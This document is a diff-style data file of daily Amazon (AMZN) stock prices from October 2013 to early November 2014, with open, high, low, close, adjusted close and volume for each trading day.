+2013-10-03,320.3900146484375,322.9200134277344,313.0199890136719,314.760009765625,314.760009765625,2674800,AMZN
+2013-10-04,315.1300048828125,319.20001220703125,312.6199951171875,319.0400085449219,319.0400085449219,1815000,AMZN
+2013-10-07,315.239990234375,315.3399963378906,309.739990234375,310.0299987792969,310.0299987792969,2083200,AMZN
+2013-10-08,311.5,311.54998779296875,300.2699890136719,303.2300109863281,303.2300109863281,3166200,AMZN
+2013-10-09,303.4200134277344,303.5,296.5,298.2300109863281,298.2300109863281,3247400,AMZN
+2013-10-10,304.6300048828125,306.70001220703125,302.5899963378906,305.1700134277344,305.1700134277344,2555100,AMZN
+2013-10-11,304.7699890136719,310.92999267578125,303.8399963378906,310.8900146484375,310.8900146484375,2163100,AMZN
+2013-10-14,309.2200012207031,311.6499938964844,307.0,310.70001220703125,310.70001220703125,1939100,AMZN
+2013-10-15,309.8699951171875,310.7900085449219,305.260009765625,306.3999938964844,306.3999938964844,2261100,AMZN
+2013-10-16,308.3800048828125,310.79998779296875,305.54998779296875,310.489990234375,310.489990234375,2170700,AMZN
+2013-10-17,307.07000732421875,311.0,305.239990234375,310.7699890136719,310.7699890136719,2648400,AMZN
+2013-10-18,319.3599853515625,331.8900146484375,316.75,328.92999267578125,328.92999267578125,5969800,AMZN
+2013-10-21,329.8900146484375,330.0,323.79998779296875,326.44000244140625,326.44000244140625,2522300,AMZN
+2013-10-22,327.7200012207031,337.1099853515625,325.67999267578125,332.5400085449219,332.5400085449219,3935500,AMZN
+2013-10-23,330.8399963378906,331.7200012207031,324.05999755859375,326.760009765625,326.760009765625,2818200,AMZN
+2013-10-24,329.6300048828125,332.6499938964844,326.75,332.2099914550781,332.2099914550781,5884700,AMZN
+2013-10-25,358.6000061035156,368.3999938964844,352.6199951171875,363.3900146484375,363.3900146484375,12036800,AMZN
+2013-10-28,359.9200134277344,362.75,357.20001220703125,358.1600036621094,358.1600036621094,3635800,AMZN
+2013-10-29,358.9599914550781,362.8900146484375,356.2900085449219,362.70001220703125,362.70001220703125,2185400,AMZN
+2013-10-30,362.6199951171875,365.0,358.6499938964844,361.0799865722656,361.0799865722656,4502200,AMZN
+2013-10-31,361.7300109863281,366.0,359.0,364.0299987792969,364.0299987792969,2466800,AMZN
+2013-11-01,365.6300048828125,365.7699890136719,356.1000061035156,359.0,359.0,3331000,AMZN
+2013-11-04,360.1199951171875,361.0,354.3999938964844,358.739990234375,358.739990234375,1938400,AMZN
+2013-11-05,356.7799987792969,360.1700134277344,354.8399963378906,358.8900146484375,358.8900146484375,2007100,AMZN
+2013-11-06,360.45001220703125,362.8699951171875,354.5,356.17999267578125,356.17999267578125,2282300,AMZN
+2013-11-07,355.8599853515625,357.8999938964844,341.8800048828125,343.55999755859375,343.55999755859375,4246300,AMZN
+2013-11-08,345.95001220703125,351.04998779296875,344.0400085449219,350.30999755859375,350.30999755859375,2656900,AMZN
+2013-11-11,350.5899963378906,355.3699951171875,348.05999755859375,354.3800048828125,354.3800048828125,2261700,AMZN
+2013-11-12,352.989990234375,355.4800109863281,347.2799987792969,349.5299987792969,349.5299987792969,2343100,AMZN
+2013-11-13,347.3999938964844,356.2200012207031,345.67999267578125,356.2200012207031,356.2200012207031,2773300,AMZN
+2013-11-14,357.3900146484375,368.94000244140625,356.42999267578125,367.3999938964844,367.3999938964844,4159800,AMZN
+2013-11-15,367.6300048828125,372.8999938964844,365.54998779296875,369.1700134277344,369.1700134277344,4491600,AMZN
+2013-11-18,370.2799987792969,373.489990234375,364.6700134277344,366.17999267578125,366.17999267578125,2737400,AMZN
+2013-11-19,365.82000732421875,368.7799987792969,362.5,364.94000244140625,364.94000244140625,1904800,AMZN
+2013-11-20,367.55999755859375,367.55999755859375,360.45001220703125,362.57000732421875,362.57000732421875,1771500,AMZN
+2013-11-21,364.04998779296875,369.25,363.29998779296875,368.9200134277344,368.9200134277344,1964600,AMZN
+2013-11-22,370.0,374.5,366.30999755859375,372.30999755859375,372.30999755859375,2965500,AMZN
+2013-11-25,373.82000732421875,377.7900085449219,373.17999267578125,376.6400146484375,376.6400146484375,2972300,AMZN
+2013-11-26,377.6099853515625,382.5,374.82000732421875,381.3699951171875,381.3699951171875,2724400,AMZN
+2013-11-27,383.5,387.0,382.6099853515625,386.7099914550781,386.7099914550781,2269700,AMZN
+2013-11-29,389.1000061035156,394.1000061035156,388.6199951171875,393.6199951171875,393.6199951171875,2406000,AMZN
+2013-12-02,399.0,399.0,389.1000061035156,392.29998779296875,392.29998779296875,4714000,AMZN
+2013-12-03,390.1099853515625,390.95001220703125,383.1000061035156,384.6600036621094,384.6600036621094,3702900,AMZN
+2013-12-04,383.5,389.69000244140625,381.489990234375,385.9599914550781,385.9599914550781,2355300,AMZN
+2013-12-05,386.6499938964844,386.6499938964844,381.3699951171875,384.489990234375,384.489990234375,1906500,AMZN
+2013-12-06,388.3500061035156,388.3500061035156,383.8299865722656,386.95001220703125,386.95001220703125,1984700,AMZN
+2013-12-09,388.1099853515625,388.2099914550781,382.57000732421875,384.8900146484375,384.8900146484375,2761800,AMZN
+2013-12-10,383.739990234375,389.05999755859375,383.0199890136719,387.7799987792969,387.7799987792969,2736800,AMZN
+2013-12-11,387.3399963378906,388.9800109863281,382.0,382.19000244140625,382.19000244140625,2451300,AMZN
+2013-12-12,381.260009765625,385.0,379.5,381.25,381.25,2123700,AMZN
+2013-12-13,385.32000732421875,389.4200134277344,383.79998779296875,384.239990234375,384.239990234375,3025000,AMZN
+2013-12-16,385.0299987792969,391.70001220703125,385.0,388.9700012207031,388.9700012207031,2251700,AMZN
+2013-12-17,390.6499938964844,391.3599853515625,386.5,387.6499938964844,387.6499938964844,2343900,AMZN
+2013-12-18,389.2300109863281,396.29998779296875,383.1000061035156,395.9599914550781,395.9599914550781,3489100,AMZN
+2013-12-19,394.2699890136719,397.2900085449219,392.6000061035156,395.19000244140625,395.19000244140625,2427200,AMZN
+2013-12-20,396.54998779296875,404.7200012207031,395.7799987792969,402.20001220703125,402.20001220703125,5033900,AMZN
+2013-12-23,403.69000244140625,405.0,399.20001220703125,402.9200134277344,402.9200134277344,2659500,AMZN
+2013-12-24,402.5199890136719,403.7200012207031,396.3699951171875,399.20001220703125,399.20001220703125,1380400,AMZN
+2013-12-26,401.7900085449219,404.5199890136719,396.80999755859375,404.3900146484375,404.3900146484375,1868500,AMZN
+2013-12-27,404.6499938964844,405.6300048828125,396.25,398.0799865722656,398.0799865722656,1986900,AMZN
+2013-12-30,399.4100036621094,399.9200134277344,392.45001220703125,393.3699951171875,393.3699951171875,2487100,AMZN
+2013-12-31,394.5799865722656,398.8299865722656,393.79998779296875,398.7900085449219,398.7900085449219,1996500,AMZN
+2014-01-02,398.79998779296875,399.3599853515625,394.0199890136719,397.9700012207031,397.9700012207031,2137800,AMZN
+2014-01-03,398.2900085449219,402.7099914550781,396.2200012207031,396.44000244140625,396.44000244140625,2210200,AMZN
+2014-01-06,395.8500061035156,397.0,388.4200134277344,393.6300048828125,393.6300048828125,3170600,AMZN
+2014-01-07,395.0400085449219,398.4700012207031,394.2900085449219,398.0299987792969,398.0299987792969,1916000,AMZN
+2014-01-08,398.4700012207031,403.0,396.0400085449219,401.9200134277344,401.9200134277344,2316500,AMZN
+2014-01-09,403.7099914550781,406.8900146484375,398.44000244140625,401.010009765625,401.010009765625,2103000,AMZN
+2014-01-10,402.5299987792969,403.760009765625,393.79998779296875,397.6600036621094,397.6600036621094,2679500,AMZN
+2014-01-13,397.9800109863281,399.7799987792969,388.45001220703125,390.9800109863281,390.9800109863281,2844900,AMZN
+2014-01-14,392.1300048828125,398.6300048828125,391.2900085449219,397.5400085449219,397.5400085449219,2340100,AMZN
+2014-01-15,398.94000244140625,399.30999755859375,392.5299987792969,395.8699951171875,395.8699951171875,2678300,AMZN
+2014-01-16,393.67999267578125,399.2900085449219,389.4100036621094,395.79998779296875,395.79998779296875,2601200,AMZN
+2014-01-17,394.260009765625,403.489990234375,393.6600036621094,399.6099853515625,399.6099853515625,4505100,AMZN
+2014-01-21,403.0,407.79998779296875,401.6000061035156,407.04998779296875,407.04998779296875,3122100,AMZN
+2014-01-22,408.0,408.05999755859375,402.0,404.5400085449219,404.5400085449219,2060500,AMZN
+2014-01-23,401.0,406.1700134277344,397.7900085449219,399.8699951171875,399.8699951171875,3025400,AMZN
+2014-01-24,398.1600036621094,400.20001220703125,387.2699890136719,387.6000061035156,387.6000061035156,4458400,AMZN
+2014-01-27,390.5,394.1000061035156,380.489990234375,386.2799987792969,386.2799987792969,3936800,AMZN
+2014-01-28,387.3999938964844,394.739990234375,387.1199951171875,394.42999267578125,394.42999267578125,2894500,AMZN
+2014-01-29,392.1600036621094,392.8500061035156,383.239990234375,384.20001220703125,384.20001220703125,3382300,AMZN
+2014-01-30,393.7699890136719,406.25,387.70001220703125,403.010009765625,403.010009765625,10473900,AMZN
+2014-01-31,371.760009765625,375.45001220703125,357.760009765625,358.69000244140625,358.69000244140625,16154800,AMZN
+2014-02-03,358.9800109863281,360.8500061035156,340.1000061035156,346.1499938964844,346.1499938964844,10280800,AMZN
+2014-02-04,349.5899963378906,354.0,344.0199890136719,347.95001220703125,347.95001220703125,4812900,AMZN
+2014-02-05,346.0,349.3699951171875,337.7300109863281,346.45001220703125,346.45001220703125,4435400,AMZN
+2014-02-06,347.3999938964844,354.82000732421875,347.3999938964844,354.5899963378906,354.5899963378906,3335700,AMZN
+2014-02-07,358.9800109863281,361.79998779296875,352.489990234375,361.0799865722656,361.0799865722656,4330500,AMZN
+2014-02-10,361.6099853515625,365.0,359.3500061035156,360.8699951171875,360.8699951171875,3449700,AMZN
+2014-02-11,361.8399963378906,363.6099853515625,356.25,361.7900085449219,361.7900085449219,3222100,AMZN
+2014-02-12,356.42999267578125,357.75,346.32000732421875,349.25,349.25,6587700,AMZN
+2014-02-13,347.70001220703125,357.20001220703125,346.5,357.20001220703125,357.20001220703125,4175000,AMZN
+2014-02-14,359.3399963378906,359.3399963378906,353.3500061035156,357.3500061035156,357.3500061035156,3520200,AMZN
+2014-02-18,355.2799987792969,355.7300109863281,349.45001220703125,353.6499938964844,353.6499938964844,4998000,AMZN
+2014-02-19,352.6400146484375,354.5400085449219,346.1000061035156,347.3800048828125,347.3800048828125,4168100,AMZN
+2014-02-20,348.79998779296875,350.4599914550781,344.3800048828125,349.79998779296875,349.79998779296875,3492800,AMZN
+2014-02-21,352.44000244140625,354.1400146484375,346.75,346.760009765625,346.760009765625,4210000,AMZN
+2014-02-24,345.19000244140625,353.0,343.2900085449219,351.7799987792969,351.7799987792969,3644700,AMZN
+2014-02-25,353.0,361.0799865722656,351.5799865722656,358.32000732421875,358.32000732421875,3736400,AMZN
+2014-02-26,359.8599853515625,364.75,357.1700134277344,359.79998779296875,359.79998779296875,3622100,AMZN
+2014-02-27,357.2200012207031,360.5899963378906,355.5,360.1300048828125,360.1300048828125,3104900,AMZN
+2014-02-28,360.6000061035156,365.8699951171875,357.0799865722656,362.1000061035156,362.1000061035156,3882000,AMZN
+2014-03-03,358.739990234375,360.9599914550781,354.4800109863281,359.7799987792969,359.7799987792969,2798300,AMZN
+2014-03-04,363.8999938964844,365.67999267578125,362.4599914550781,363.8999938964844,363.8999938964844,2704400,AMZN
+2014-03-05,364.1300048828125,372.7300109863281,363.8999938964844,372.3699951171875,372.3699951171875,3848300,AMZN
+2014-03-06,374.04998779296875,375.3299865722656,368.8999938964844,372.1600036621094,372.1600036621094,2926600,AMZN
+2014-03-07,374.5799865722656,374.989990234375,369.5299987792969,372.05999755859375,372.05999755859375,2279800,AMZN
+2014-03-10,372.69000244140625,372.7300109863281,367.0,370.5299987792969,370.5299987792969,2105800,AMZN
+2014-03-11,370.989990234375,372.79998779296875,367.2799987792969,368.82000732421875,368.82000732421875,2246100,AMZN
+2014-03-12,366.3999938964844,371.1600036621094,363.6099853515625,370.6400146484375,370.6400146484375,2216600,AMZN
+2014-03-13,376.6199951171875,383.1099853515625,368.0799865722656,371.510009765625,371.510009765625,6829000,AMZN
+2014-03-14,372.79998779296875,378.57000732421875,371.54998779296875,373.739990234375,373.739990234375,4402200,AMZN
+2014-03-17,375.7200012207031,378.8500061035156,374.8800048828125,375.0400085449219,375.0400085449219,2303000,AMZN
+2014-03-18,377.32000732421875,379.0,375.0,378.7699890136719,378.7699890136719,2483500,AMZN
+2014-03-19,378.7699890136719,379.0,369.4200134277344,373.2300109863281,373.2300109863281,2646700,AMZN
+2014-03-20,370.6400146484375,373.0,366.2200012207031,368.9700012207031,368.9700012207031,2558500,AMZN
+2014-03-21,371.0,372.8399963378906,358.3999938964844,360.6199951171875,360.6199951171875,5414100,AMZN
+2014-03-24,360.0899963378906,361.5,348.6000061035156,351.8500061035156,351.8500061035156,4873500,AMZN
+2014-03-25,354.0299987792969,358.9700012207031,348.8399963378906,354.7099914550781,354.7099914550781,4445700,AMZN
+2014-03-26,357.1300048828125,357.6000061035156,343.3999938964844,343.4100036621094,343.4100036621094,4120700,AMZN
+2014-03-27,343.1499938964844,344.0,330.8800048828125,338.4700012207031,338.4700012207031,5766400,AMZN
+2014-03-28,340.04998779296875,347.0,336.0799865722656,338.2900085449219,338.2900085449219,3986800,AMZN
+2014-03-31,342.3999938964844,346.2900085449219,334.05999755859375,336.3699951171875,336.3699951171875,4297500,AMZN
+2014-04-01,338.0899963378906,344.42999267578125,338.0,342.989990234375,342.989990234375,3600100,AMZN
+2014-04-02,345.989990234375,348.29998779296875,340.3800048828125,341.9599914550781,341.9599914550781,4475500,AMZN
+2014-04-03,341.82000732421875,342.5,328.4599914550781,333.6199951171875,333.6199951171875,6399300,AMZN
+2014-04-04,335.1499938964844,335.44000244140625,315.6099853515625,323.0,323.0,12534600,AMZN
+2014-04-07,320.989990234375,324.94000244140625,313.1300048828125,317.760009765625,317.760009765625,7077400,AMZN
+2014-04-08,321.8800048828125,328.0,318.44000244140625,327.07000732421875,327.07000732421875,6577600,AMZN
+2014-04-09,328.4700012207031,332.17999267578125,322.5,331.80999755859375,331.80999755859375,5056600,AMZN
+2014-04-10,330.6000061035156,331.0,316.5,317.1099853515625,317.1099853515625,6126700,AMZN
+2014-04-11,314.0,316.5,309.5,311.7300109863281,311.7300109863281,7287500,AMZN
+2014-04-14,317.6700134277344,320.4800109863281,311.2799987792969,315.9100036621094,315.9100036621094,4293500,AMZN
+2014-04-15,316.70001220703125,318.2799987792969,305.5,316.0799865722656,316.0799865722656,5398600,AMZN
+2014-04-16,321.1700134277344,324.0,314.7099914550781,323.67999267578125,323.67999267578125,4284900,AMZN
+2014-04-17,319.760009765625,328.6600036621094,319.760009765625,324.9100036621094,324.9100036621094,4299200,AMZN
+2014-04-21,323.9700012207031,331.1499938964844,322.30999755859375,330.8699951171875,330.8699951171875,2999400,AMZN
+2014-04-22,332.0,337.5,328.94000244140625,329.32000732421875,329.32000732421875,3711600,AMZN
+2014-04-23,333.05999755859375,333.1300048828125,323.3900146484375,324.5799865722656,324.5799865722656,3604600,AMZN
+2014-04-24,329.6700134277344,337.3999938964844,322.95001220703125,337.1499938964844,337.1499938964844,9293700,AMZN
+2014-04-25,316.25,316.489990234375,302.7099914550781,303.8299865722656,303.8299865722656,16180200,AMZN
+2014-04-28,304.0,304.3900146484375,288.0,296.5799865722656,296.5799865722656,14479800,AMZN
+2014-04-29,296.44000244140625,301.8399963378906,290.45001220703125,300.3800048828125,300.3800048828125,6509300,AMZN
+2014-04-30,298.1000061035156,304.55999755859375,298.1000061035156,304.1300048828125,304.1300048828125,4088600,AMZN
+2014-05-01,304.1300048828125,310.4800109863281,304.0,307.8900146484375,307.8900146484375,4328600,AMZN
+2014-05-02,310.4200134277344,313.2900085449219,304.30999755859375,308.010009765625,308.010009765625,3995100,AMZN
+2014-05-05,306.3699951171875,310.2300109863281,305.0,310.04998779296875,310.04998779296875,2519900,AMZN
+2014-05-06,309.5299987792969,309.80999755859375,297.0400085449219,297.3800048828125,297.3800048828125,4682300,AMZN
+2014-05-07,295.55999755859375,296.3999938964844,286.67999267578125,292.7099914550781,292.7099914550781,7015200,AMZN
+2014-05-08,290.82000732421875,295.8800048828125,287.2300109863281,288.32000732421875,288.32000732421875,3848200,AMZN
+2014-05-09,290.57000732421875,293.67999267578125,284.3800048828125,292.239990234375,292.239990234375,4063000,AMZN
+2014-05-12,294.29998779296875,303.3399963378906,294.1600036621094,302.8599853515625,302.8599853515625,3729600,AMZN
+2014-05-13,302.6000061035156,305.6000061035156,300.75,304.6400146484375,304.6400146484375,3509900,AMZN
+2014-05-14,302.5,304.6400146484375,296.6600036621094,297.6199951171875,297.6199951171875,3323300,AMZN
+2014-05-15,298.0199890136719,299.20001220703125,290.3800048828125,295.19000244140625,295.19000244140625,4295100,AMZN
+2014-05-16,292.79998779296875,298.8800048828125,291.54998779296875,297.70001220703125,297.70001220703125,3636800,AMZN
+2014-05-19,295.760009765625,299.0,293.80999755859375,296.760009765625,296.760009765625,2284200,AMZN
+2014-05-20,297.1000061035156,304.4599914550781,296.75,301.19000244140625,301.19000244140625,4095700,AMZN
+2014-05-21,302.2099914550781,305.9599914550781,301.5199890136719,305.010009765625,305.010009765625,3408800,AMZN
+2014-05-22,305.04998779296875,308.5400085449219,303.010009765625,304.9100036621094,304.9100036621094,2576800,AMZN
+2014-05-23,305.4599914550781,312.3500061035156,304.8999938964844,312.239990234375,312.239990234375,3052900,AMZN
+2014-05-27,314.4100036621094,314.6300048828125,307.3800048828125,310.82000732421875,310.82000732421875,4862100,AMZN
+2014-05-28,309.5,313.82000732421875,307.4200134277344,310.1600036621094,310.1600036621094,2726000,AMZN
+2014-05-29,310.4200134277344,314.8699951171875,310.20001220703125,313.7799987792969,313.7799987792969,2365500,AMZN
+2014-05-30,314.42999267578125,314.6499938964844,307.57000732421875,312.54998779296875,312.54998779296875,4260200,AMZN
+2014-06-02,312.5899963378906,312.6000061035156,307.0,308.8399963378906,308.8399963378906,2203400,AMZN
+2014-06-03,305.75,307.9200134277344,305.07000732421875,307.19000244140625,307.19000244140625,2379200,AMZN
+2014-06-04,306.8500061035156,309.5,303.8399963378906,306.7799987792969,306.7799987792969,2107100,AMZN
+2014-06-05,308.1000061035156,327.94000244140625,306.8999938964844,323.57000732421875,323.57000732421875,7796700,AMZN
+2014-06-06,325.0,330.8800048828125,324.92999267578125,329.6700134277344,329.6700134277344,5244000,AMZN
+2014-06-09,331.57000732421875,333.0,325.6499938964844,327.5,327.5,3212200,AMZN
+2014-06-10,327.6499938964844,335.5,327.5,332.4100036621094,332.4100036621094,3663400,AMZN
+2014-06-11,336.0,340.7200012207031,333.8800048828125,335.20001220703125,335.20001220703125,4436800,AMZN
+2014-06-12,335.54998779296875,335.54998779296875,324.6600036621094,325.9100036621094,325.9100036621094,4276300,AMZN
+2014-06-13,327.04998779296875,329.29998779296875,323.5299987792969,326.2699890136719,326.2699890136719,2764800,AMZN
+2014-06-16,324.8599853515625,328.69000244140625,323.5199890136719,327.6199951171875,327.6199951171875,2449800,AMZN
+2014-06-17,327.5400085449219,331.3399963378906,325.2300109863281,325.6199951171875,325.6199951171875,2924100,AMZN
+2014-06-18,328.0,335.75,325.0,334.3800048828125,334.3800048828125,6401500,AMZN
+2014-06-19,335.260009765625,338.8999938964844,325.9800109863281,327.0,327.0,5320600,AMZN
+2014-06-20,327.760009765625,328.2200012207031,320.4200134277344,324.20001220703125,324.20001220703125,6054000,AMZN
+2014-06-23,323.3299865722656,327.54998779296875,321.4100036621094,327.239990234375,327.239990234375,2604800,AMZN
+2014-06-24,327.5400085449219,329.7300109863281,322.739990234375,324.1600036621094,324.1600036621094,2626600,AMZN
+2014-06-25,324.3299865722656,328.1499938964844,321.739990234375,327.44000244140625,327.44000244140625,2327800,AMZN
+2014-06-26,328.489990234375,328.6499938964844,322.1300048828125,325.69000244140625,325.69000244140625,2699500,AMZN
+2014-06-27,325.8800048828125,326.5199890136719,323.2699890136719,324.57000732421875,324.57000732421875,2416200,AMZN
+2014-06-30,324.9800109863281,326.9800109863281,322.239990234375,324.7799987792969,324.7799987792969,2671300,AMZN
+2014-07-01,325.8599853515625,333.20001220703125,325.1000061035156,332.3900146484375,332.3900146484375,3173600,AMZN
+2014-07-02,333.20001220703125,336.760009765625,331.6600036621094,332.8500061035156,332.8500061035156,2681300,AMZN
+2014-07-03,334.8299865722656,338.29998779296875,333.0799865722656,337.489990234375,337.489990234375,1944300,AMZN
+2014-07-07,337.5,337.54998779296875,332.5199890136719,333.54998779296875,333.54998779296875,2128900,AMZN
+2014-07-08,333.1000061035156,333.739990234375,321.3999938964844,323.80999755859375,323.80999755859375,4271600,AMZN
+2014-07-09,324.7099914550781,330.20001220703125,323.1499938964844,329.9700012207031,329.9700012207031,3166100,AMZN
+2014-07-10,324.3399963378906,329.9800109863281,322.6499938964844,327.9200134277344,327.9200134277344,2665000,AMZN
+2014-07-11,334.7099914550781,347.0,334.7099914550781,346.20001220703125,346.20001220703125,8300800,AMZN
+2014-07-14,347.0299987792969,355.7699890136719,345.3599853515625,355.32000732421875,355.32000732421875,5609900,AMZN
+2014-07-15,353.7200012207031,355.5899963378906,349.3999938964844,354.44000244140625,354.44000244140625,4170900,AMZN
+2014-07-16,355.6199951171875,359.32000732421875,353.0,355.8999938964844,355.8999938964844,3503600,AMZN
+2014-07-17,353.44000244140625,356.9599914550781,351.3800048828125,352.45001220703125,352.45001220703125,3636000,AMZN
+2014-07-18,354.3999938964844,359.67999267578125,352.0799865722656,358.6600036621094,358.6600036621094,3407400,AMZN
+2014-07-21,358.1000061035156,361.7099914550781,356.7200012207031,359.760009765625,359.760009765625,2278400,AMZN
+2014-07-22,355.25,362.92999267578125,355.25,360.8399963378906,360.8399963378906,2888900,AMZN
+2014-07-23,359.04998779296875,360.6300048828125,356.6199951171875,358.1400146484375,358.1400146484375,2687300,AMZN
+2014-07-24,359.9800109863281,364.8500061035156,358.5199890136719,358.6099853515625,358.6099853515625,7088700,AMZN
+2014-07-25,317.29998779296875,324.8699951171875,314.760009765625,324.010009765625,324.010009765625,17846500,AMZN
+2014-07-28,324.25,324.82000732421875,316.5,320.4100036621094,320.4100036621094,5932000,AMZN
+2014-07-29,321.9800109863281,322.8999938964844,319.5,320.0,320.0,2883800,AMZN
+2014-07-30,321.45001220703125,322.7300109863281,318.5,322.510009765625,322.510009765625,3969000,AMZN
+2014-07-31,320.010009765625,320.67999267578125,311.8599853515625,312.989990234375,312.989990234375,5192000,AMZN
+2014-08-01,313.69000244140625,315.8299865722656,304.5899963378906,307.05999755859375,307.05999755859375,7441500,AMZN
+2014-08-04,308.8399963378906,316.17999267578125,308.5,313.6499938964844,313.6499938964844,4200900,AMZN
+2014-08-05,313.29998779296875,314.54998779296875,310.05999755859375,312.32000732421875,312.32000732421875,2852100,AMZN
+2014-08-06,310.8299865722656,315.7799987792969,310.20001220703125,313.8900146484375,313.8900146484375,2296900,AMZN
+2014-08-07,315.2099914550781,315.8800048828125,309.6499938964844,311.45001220703125,311.45001220703125,2935600,AMZN
+2014-08-08,311.94000244140625,317.32000732421875,310.6600036621094,316.79998779296875,316.79998779296875,2705900,AMZN
+2014-08-11,318.4800109863281,320.3800048828125,316.8800048828125,318.3299865722656,318.3299865722656,2468600,AMZN
+2014-08-12,318.8900146484375,321.30999755859375,316.95001220703125,319.32000732421875,319.32000732421875,1915800,AMZN
+2014-08-13,327.6000061035156,331.7200012207031,326.1400146484375,326.2799987792969,326.2799987792969,4939100,AMZN
+2014-08-14,327.79998779296875,334.0899963378906,326.7099914550781,333.2099914550781,333.2099914550781,3420400,AMZN
+2014-08-15,334.0,335.0,328.32000732421875,333.6300048828125,333.6300048828125,3896700,AMZN
+2014-08-18,335.4800109863281,337.79998779296875,333.7699890136719,334.5299987792969,334.5299987792969,2485400,AMZN
+2014-08-19,334.8699951171875,335.80999755859375,333.010009765625,335.1300048828125,335.1300048828125,1713800,AMZN
+2014-08-20,334.67999267578125,337.1600036621094,334.0199890136719,335.7799987792969,335.7799987792969,1810500,AMZN
+2014-08-21,336.4800109863281,336.5799865722656,332.2300109863281,332.9100036621094,332.9100036621094,1971100,AMZN
+2014-08-22,332.989990234375,334.0799865722656,330.79998779296875,331.5899963378906,331.5899963378906,2211200,AMZN
+2014-08-25,333.2099914550781,336.7699890136719,332.7099914550781,334.0199890136719,334.0199890136719,1957700,AMZN
+2014-08-26,337.0,344.3599853515625,334.54998779296875,341.8299865722656,341.8299865722656,3654700,AMZN
+2014-08-27,342.0899963378906,346.6700134277344,341.3399963378906,343.17999267578125,343.17999267578125,2961600,AMZN
+2014-08-28,340.0,341.7900085449219,338.79998779296875,340.0199890136719,340.0199890136719,2252700,AMZN
+2014-08-29,341.760009765625,341.82000732421875,337.67999267578125,339.0400085449219,339.0400085449219,1939500,AMZN
+2014-09-02,339.9800109863281,342.5,337.1600036621094,342.3800048828125,342.3800048828125,2326000,AMZN
+2014-09-03,342.5400085449219,343.2699890136719,337.54998779296875,339.0,339.0,1993700,AMZN
+2014-09-04,343.69000244140625,349.3800048828125,343.5799865722656,345.95001220703125,345.95001220703125,3965600,AMZN
+2014-09-05,346.29998779296875,346.8299865722656,342.5,346.3800048828125,346.3800048828125,2107000,AMZN
+2014-09-08,344.5400085449219,345.80999755859375,339.0400085449219,342.3399963378906,342.3399963378906,2955300,AMZN
+2014-09-09,341.6099853515625,341.760009765625,329.17999267578125,329.75,329.75,4646800,AMZN
+2014-09-10,334.29998779296875,334.9800109863281,328.82000732421875,331.3299865722656,331.3299865722656,3797400,AMZN
+2014-09-11,329.94000244140625,333.010009765625,326.3900146484375,330.5199890136719,330.5199890136719,2720200,AMZN
+2014-09-12,329.55999755859375,332.8900146484375,328.7900085449219,331.19000244140625,331.19000244140625,3429300,AMZN
+2014-09-15,330.9100036621094,331.3299865722656,319.0,323.8900146484375,323.8900146484375,4000400,AMZN
+2014-09-16,321.07000732421875,329.4800109863281,320.1000061035156,327.760009765625,327.760009765625,3259900,AMZN
+2014-09-17,327.760009765625,328.0,321.5199890136719,324.0,324.0,4136000,AMZN
+2014-09-18,325.44000244140625,327.1000061035156,323.7099914550781,325.0,325.0,2576900,AMZN
+2014-09-19,327.6000061035156,332.760009765625,325.57000732421875,331.32000732421875,331.32000732421875,6886200,AMZN
+2014-09-22,328.489990234375,329.489990234375,321.05999755859375,324.5,324.5,3109700,AMZN
+2014-09-23,322.4599914550781,327.6000061035156,321.25,323.6300048828125,323.6300048828125,2352600,AMZN
+2014-09-24,324.1700134277344,329.44000244140625,319.55999755859375,328.2099914550781,328.2099914550781,2642200,AMZN
+2014-09-25,327.989990234375,328.5400085449219,321.3999938964844,321.92999267578125,321.92999267578125,2928800,AMZN
+2014-09-26,320.6000061035156,323.5,317.6400146484375,323.2099914550781,323.2099914550781,3638000,AMZN
+2014-09-29,320.5,323.75,319.0,321.82000732421875,321.82000732421875,1924600,AMZN
+2014-09-30,321.3599853515625,323.42999267578125,318.510009765625,322.44000244140625,322.44000244140625,2636200,AMZN
+2014-10-01,322.0400085449219,322.1700134277344,315.54998779296875,317.4599914550781,317.4599914550781,3089100,AMZN
+2014-10-02,316.9200134277344,318.5299987792969,311.30999755859375,318.4100036621094,318.4100036621094,3553900,AMZN
+2014-10-03,320.3599853515625,325.1600036621094,319.5299987792969,322.739990234375,322.739990234375,3037400,AMZN
+2014-10-06,323.5,324.1300048828125,319.6000061035156,322.20001220703125,322.20001220703125,2290300,AMZN
+2014-10-07,319.42999267578125,322.0,316.6700134277344,316.9800109863281,316.9800109863281,2365400,AMZN
+2014-10-08,316.5799865722656,324.1099853515625,314.1400146484375,322.70001220703125,322.70001220703125,3452800,AMZN
+2014-10-09,321.489990234375,322.2699890136719,314.5199890136719,315.3699951171875,315.3699951171875,3587900,AMZN
+2014-10-10,314.0199890136719,317.7699890136719,311.3800048828125,311.3900146484375,311.3900146484375,3681900,AMZN
+2014-10-13,309.8699951171875,313.20001220703125,303.4700012207031,306.45001220703125,306.45001220703125,4363900,AMZN
+2014-10-14,308.0,312.239990234375,305.75,308.30999755859375,308.30999755859375,3385800,AMZN
+2014-10-15,304.3500061035156,307.8999938964844,299.1000061035156,305.9700012207031,305.9700012207031,5343900,AMZN
+2014-10-16,293.8299865722656,306.82000732421875,293.8299865722656,302.8599853515625,302.8599853515625,4731300,AMZN
+2014-10-17,307.1499938964844,309.20001220703125,302.7200012207031,303.6400146484375,303.6400146484375,4405100,AMZN
+2014-10-20,302.95001220703125,306.5299987792969,302.0199890136719,306.2099914550781,306.2099914550781,3234500,AMZN
+2014-10-21,309.8999938964844,315.6400146484375,307.07000732421875,315.3299865722656,315.3299865722656,3559300,AMZN
+2014-10-22,315.42999267578125,318.9800109863281,312.6400146484375,312.9700012207031,312.9700012207031,3125900,AMZN
+2014-10-23,313.3999938964844,316.79998779296875,311.3999938964844,313.17999267578125,313.17999267578125,9038200,AMZN
+2014-10-24,284.3999938964844,293.80999755859375,284.0,287.05999755859375,287.05999755859375,19801100,AMZN
+2014-10-27,285.70001220703125,290.4200134277344,285.0199890136719,289.9700012207031,289.9700012207031,5950600,AMZN
+2014-10-28,289.760009765625,298.0,289.760009765625,295.5899963378906,295.5899963378906,5572600,AMZN
+2014-10-29,299.1099853515625,299.6099853515625,293.07000732421875,294.1199951171875,294.1199951171875,4881900,AMZN
+2014-10-30,293.9800109863281,299.739990234375,292.3599853515625,299.07000732421875,299.07000732421875,4055200,AMZN
+2014-10-31,305.1499938964844,305.7200012207031,301.5,305.4599914550781,305.4599914550781,4550700,AMZN
+2014-11-03,306.239990234375,308.010009765625,303.239990234375,305.7200012207031,305.7200012207031,3242500,AMZN
+2014-11-04,303.989990234375,304.25,300.1700134277344,302.80999755859375,302.80999755859375,3427400,AMZN
